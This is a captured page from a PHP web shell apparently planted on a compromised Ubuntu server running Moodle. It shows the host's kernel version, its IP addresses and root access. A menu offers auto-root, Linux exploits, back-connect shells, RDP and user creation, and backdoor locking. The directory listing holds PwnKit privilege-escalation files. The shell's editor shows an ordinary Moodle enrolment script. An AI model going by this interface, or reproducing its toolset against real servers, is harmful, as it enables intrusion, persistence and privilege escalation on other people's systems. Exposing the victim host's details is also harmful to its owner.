Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
enrol /
manual /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
ajax.php
5.88
KB
-rwxrwxrwx
bulkchangeforms.php
1.51
KB
-rwxrwxrwx
edit.php
4.35
KB
-rwxrwxrwx
edit_form.php
3.5
KB
-rwxrwxrwx
externallib.php
8.02
KB
-rwxrwxrwx
lib.php
21.01
KB
-rwxrwxrwx
locallib.php
15.88
KB
-rwxrwxrwx
manage.php
7.52
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
3.94
KB
-rwxrwxrwx
unenrolself.php
2.33
KB
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : manage.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Manual user enrolment UI. * * @package enrol_manual * @copyright 2010 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require('../../config.php'); require_once($CFG->dirroot.'/enrol/manual/locallib.php'); $enrolid = required_param('enrolid', PARAM_INT); $roleid = optional_param('roleid', -1, PARAM_INT); $extendperiod = optional_param('extendperiod', 0, PARAM_INT); $extendbase = optional_param('extendbase', 3, PARAM_INT); $instance = $DB->get_record('enrol', array('id'=>$enrolid, 'enrol'=>'manual'), '*', MUST_EXIST); $course = $DB->get_record('course', array('id'=>$instance->courseid), '*', MUST_EXIST); $context = context_course::instance($course->id, MUST_EXIST); require_login($course); $canenrol = has_capability('enrol/manual:enrol', $context); $canunenrol = has_capability('enrol/manual:unenrol', $context); // Note: manage capability not used here because it is used for editing // of existing enrolments which is not possible here. if (!$canenrol and !$canunenrol) { // No need to invent new error strings here... require_capability('enrol/manual:enrol', $context); require_capability('enrol/manual:unenrol', $context); } if ($roleid < 0) { $roleid = $instance->roleid; } $roles = get_assignable_roles($context); $roles = array('0'=>get_string('none')) + $roles; if (!isset($roles[$roleid])) { // Weird - security always first! $roleid = 0; } if (!$enrol_manual = enrol_get_plugin('manual')) { throw new coding_exception('Can not instantiate enrol_manual'); } $instancename = $enrol_manual->get_instance_name($instance); $PAGE->set_url('/enrol/manual/manage.php', array('enrolid'=>$instance->id)); $PAGE->set_pagelayout('admin'); $PAGE->set_title($enrol_manual->get_instance_name($instance)); $PAGE->set_heading($course->fullname); navigation_node::override_active_url(new moodle_url('/enrol/users.php', array('id'=>$course->id))); // Create the user selector objects. $options = array('enrolid' => $enrolid, 'accesscontext' => $context); $potentialuserselector = new enrol_manual_potential_participant('addselect', $options); $currentuserselector = new enrol_manual_current_participant('removeselect', $options); // Build the list of options for the enrolment period dropdown. $unlimitedperiod = get_string('unlimited'); $periodmenu = array(); for ($i=1; $i<=365; $i++) { $seconds = $i * 86400; $periodmenu[$seconds] = get_string('numdays', '', $i); } // Work out the apropriate default setting. if ($extendperiod) { $defaultperiod = $extendperiod; } else { $defaultperiod = $instance->enrolperiod; } // Build the list of options for the starting from dropdown. $timeformat = get_string('strftimedatefullshort'); $today = time(); $today = make_timestamp(date('Y', $today), date('m', $today), date('d', $today), 0, 0, 0); // Enrolment start. $basemenu = array(); if ($course->startdate > 0) { $basemenu[2] = get_string('coursestart') . ' (' . userdate($course->startdate, $timeformat) . ')'; } $basemenu[3] = get_string('today') . ' (' . userdate($today, $timeformat) . ')' ; // Process add and removes. if ($canenrol && optional_param('add', false, PARAM_BOOL) && confirm_sesskey()) { $userstoassign = $potentialuserselector->get_selected_users(); if (!empty($userstoassign)) { foreach($userstoassign as $adduser) { switch($extendbase) { case 2: $timestart = $course->startdate; break; case 3: default: $timestart = $today; break; } if ($extendperiod <= 0) { $timeend = 0; } else { $timeend = $timestart + $extendperiod; } $enrol_manual->enrol_user($instance, $adduser->id, $roleid, $timestart, $timeend); add_to_log($course->id, 'course', 'enrol', '../enrol/users.php?id='.$course->id, $course->id); //there should be userid somewhere! } $potentialuserselector->invalidate_selected_users(); $currentuserselector->invalidate_selected_users(); //TODO: log } } // Process incoming role unassignments. if ($canunenrol && optional_param('remove', false, PARAM_BOOL) && confirm_sesskey()) { $userstounassign = $currentuserselector->get_selected_users(); if (!empty($userstounassign)) { foreach($userstounassign as $removeuser) { $enrol_manual->unenrol_user($instance, $removeuser->id); add_to_log($course->id, 'course', 'unenrol', '../enrol/users.php?id='.$course->id, $course->id); //there should be userid somewhere! } $potentialuserselector->invalidate_selected_users(); $currentuserselector->invalidate_selected_users(); //TODO: log } } echo $OUTPUT->header(); echo $OUTPUT->heading($instancename); $addenabled = $canenrol ? '' : 'disabled="disabled"'; $removeenabled = $canunenrol ? '' : 'disabled="disabled"'; ?> <form id="assignform" method="post" action="<?php echo $PAGE->url ?>"><div> <input type="hidden" name="sesskey" value="<?php echo sesskey() ?>" /> <table summary="" class="roleassigntable generaltable generalbox boxaligncenter" cellspacing="0"> <tr> <td id="existingcell"> <p><label for="removeselect"><?php print_string('enrolledusers', 'enrol'); ?></label></p> <?php $currentuserselector->display() ?> </td> <td id="buttonscell"> <div id="addcontrols"> <input name="add" <?php echo $addenabled; ?> id="add" type="submit" value="<?php echo $OUTPUT->larrow().' '.get_string('add'); ?>" title="<?php print_string('add'); ?>" /><br /> <div class="enroloptions"> <p><label for="menuroleid"><?php print_string('assignrole', 'enrol_manual') ?></label><br /> <?php echo html_writer::select($roles, 'roleid', $roleid, false); ?></p> <p><label for="menuextendperiod"><?php print_string('enrolperiod', 'enrol') ?></label><br /> <?php echo html_writer::select($periodmenu, 'extendperiod', $defaultperiod, $unlimitedperiod); ?></p> <p><label for="menuextendbase"><?php print_string('startingfrom') ?></label><br /> <?php echo html_writer::select($basemenu, 'extendbase', $extendbase, false); ?></p> </div> </div> <div id="removecontrols"> <input name="remove" id="remove" <?php echo $removeenabled; ?> type="submit" value="<?php echo get_string('remove').' '.$OUTPUT->rarrow(); ?>" title="<?php print_string('remove'); ?>" /> </div> </td> <td id="potentialcell"> <p><label for="addselect"><?php print_string('enrolcandidates', 'enrol'); ?></label></p> <?php $potentialuserselector->display() ?> </td> </tr> </table> </div></form> <?php echo $OUTPUT->footer();
Close